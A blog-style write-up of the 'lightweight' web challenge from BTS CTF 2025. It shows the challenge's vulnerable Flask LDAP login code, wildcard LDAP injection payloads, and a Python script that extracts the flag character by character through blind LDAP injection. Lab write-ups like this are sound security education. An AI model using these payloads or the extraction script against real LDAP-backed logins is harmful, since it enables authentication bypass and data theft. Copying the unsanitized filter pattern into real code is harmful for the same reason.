Post

BTS CTF 2025 - WEB

BTS CTF 2025 - WEB

Web

lightweight

Solvers: 197
Author: bts

Description

It’s not heavy.
lightweight

Solution

Trying some guessable credentials but not working, so I tried to check the source code.

source

Go through and found that this application might be vulnerable to LDAP injection as seen in the app.py file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from flask import Flask, render_template, request
from ldap3 import Server, Connection, ALL

app = Flask(__name__)

ADMIN_PASSWORD = "STYE0P8dg55WGLAkFobiwMSJKix1QqpH"


@app.route('/', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        
        server = Server('localhost', port=389, get_info=ALL)

        conn = Connection(server, 
                          user=f'cn=admin,dc=bts,dc=ctf',
                          password=ADMIN_PASSWORD,
                          auto_bind=True)
        
        if not conn.bind():
            return 'Failed to connect to LDAP server', 500

        conn.search('ou=people,dc=bts,dc=ctf', f'(&(employeeType=active)(uid={username})(userPassword={password}))', attributes=['uid'])

        if not conn.entries:
            return 'Invalid credentials', 401

        return render_template('index.html', username=username)
    
    return render_template('login.html')

I google for LDAP injection payload and found this article.
So I tried with:

1
2
username: *
password: *

ldap

I successfully logged in and can confirm that the application is vulnerable to LDAP injection.

Ok, now how to get flag?
Look through the source code again, found this in entrypoint.sh file:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

# append description with flag
echo "description: BtSCTF{fake_flag}" >> /base.ldif && cat /base.ldif

# start
echo Starting
service slapd start

sleep 1
ldapadd -D cn=admin,dc=bts,dc=ctf -f /base.ldif -x -w STYE0P8dg55WGLAkFobiwMSJKix1QqpH

cd /app && python3 -m gunicorn -b 0.0.0.0:80 app:app

So the attribute description stored the flag. Let’s try to understand the flow of the application.
When we success login, it will show index.html page. But the things we curious about is the sensitive data in:

1
<p class="text-gray-600 mt-1">User Description: FAILED TO LOAD <!-- Probably for the better, as it might contain sensitive data --></p>

If we failed to login, it will show:

1
HTTP/2 401 Unauthorized

But if we success login, it will show:

1
HTTP/2 200 OK

So this application likely to blind LDAP injection. Let’s try it out to confirm.

1
2
username: *)(description=*
password: *

blind

See 200 in the response meaning that the injection is successful.
Let’s try one more time case, we know the format of the flag is BtSCTF{...}.

1
2
username: *)(description=BtSCTF{*
password: *

flag

Ok, it seems that we go on the right track, now we can either use Burp Intruder to brute force the rest of the content in the flag or craft a python script to do it.

I choose the latter, here’s the script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import requests
import string
import concurrent.futures
import time

url = "https://lightweight.chal.bts.wh.edu.pl/"
charset = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_-{}!"
known_flag = "BtSCTF{"
max_workers = 5

print(f"[*] Known flag so far: {known_flag}")

def test_character(char):
    flag = known_flag + char
    
    data = {
        "username": "*",
        "password": f"*)(description={flag}*"
    }
    
    try:
        response = requests.post(url, data=data, timeout=5)
        if response.status_code == 200:
            return char, True
        return char, False
    except:
        return char, None

while "}" not in known_flag and len(known_flag) < 50:
    found = False
    
    common_first = [c for c in "_-abcdefghijklmnopqrstuvwxyz0123456789{}"]
    
    with concurrent.futures.ThreadPoolExecutor(max_workers=max_workers) as executor:
        future_to_char = {executor.submit(test_character, c): c for c in common_first}
        
        for future in concurrent.futures.as_completed(future_to_char):
            char, result = future.result()
            if result:
                known_flag += char
                print(f"[+] Found character: {char} | Flag so far: {known_flag}")
                found = True
                for f in future_to_char:
                    f.cancel()
                break
            elif result is None:
                print(f"[!] Error testing '{char}', retrying...")
    
    if not found:
        remaining_chars = [c for c in charset if c not in common_first]
        
        with concurrent.futures.ThreadPoolExecutor(max_workers=max_workers) as executor:
            future_to_char = {executor.submit(test_character, c): c for c in remaining_chars}
            
            for future in concurrent.futures.as_completed(future_to_char):
                char, result = future.result()
                if result:
                    known_flag += char
                    print(f"[+] Found character: {char} | Flag so far: {known_flag}")
                    found = True
                    for f in future_to_char:
                        f.cancel()
                    break
    
    if not found:
        print(f"[!] Could not find next character. Current flag: {known_flag}")
        break

print(f"[*] Final extracted flag: {known_flag}")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
➜  lightweight python3 ldap_exploit.py
[*] Known flag so far: BtSCTF{
[+] Found character: _ | Flag so far: BtSCTF{_
[+] Found character: b | Flag so far: BtSCTF{_b
[+] Found character: l | Flag so far: BtSCTF{_bl
[+] Found character: 1 | Flag so far: BtSCTF{_bl1
[+] Found character: n | Flag so far: BtSCTF{_bl1n
[+] Found character: d | Flag so far: BtSCTF{_bl1nd
[+] Found character: _ | Flag so far: BtSCTF{_bl1nd_
[+] Found character: l | Flag so far: BtSCTF{_bl1nd_l
[+] Found character: d | Flag so far: BtSCTF{_bl1nd_ld
[+] Found character: 4 | Flag so far: BtSCTF{_bl1nd_ld4
[+] Found character: p | Flag so far: BtSCTF{_bl1nd_ld4p
[+] Found character: _ | Flag so far: BtSCTF{_bl1nd_ld4p_
[+] Found character: 1 | Flag so far: BtSCTF{_bl1nd_ld4p_1
[+] Found character: n | Flag so far: BtSCTF{_bl1nd_ld4p_1n
[+] Found character: j | Flag so far: BtSCTF{_bl1nd_ld4p_1nj
[+] Found character: 3 | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3
[+] Found character: c | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3c
[+] Found character: t | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct
[+] Found character: 1 | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct1
[+] Found character: 0 | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct10
[+] Found character: n | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct10n
[+] Found character: _ | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct10n_
[+] Found character: y | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct10n_y
[+] Found character: 1 | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1
[+] Found character: p | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1p
[+] Found character: p | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1pp
[+] Found character: 3 | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1pp3
[+] Found character: 3 | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1pp33
[+] Found character: 3 | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1pp333
[+] Found character: 3 | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1pp3333
[+] Found character: 3 | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1pp33333
[+] Found character: 3 | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1pp333333
[+] Found character: } | Flag so far: BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1pp333333}
[*] Final extracted flag: BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1pp333333}

Flag: BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1pp333333}

PS: If we know the abbreviation of LDAP, it probably faster to us to identify this challenge is LDAP injection :D.

This post is licensed under CC BY 4.0 by the author.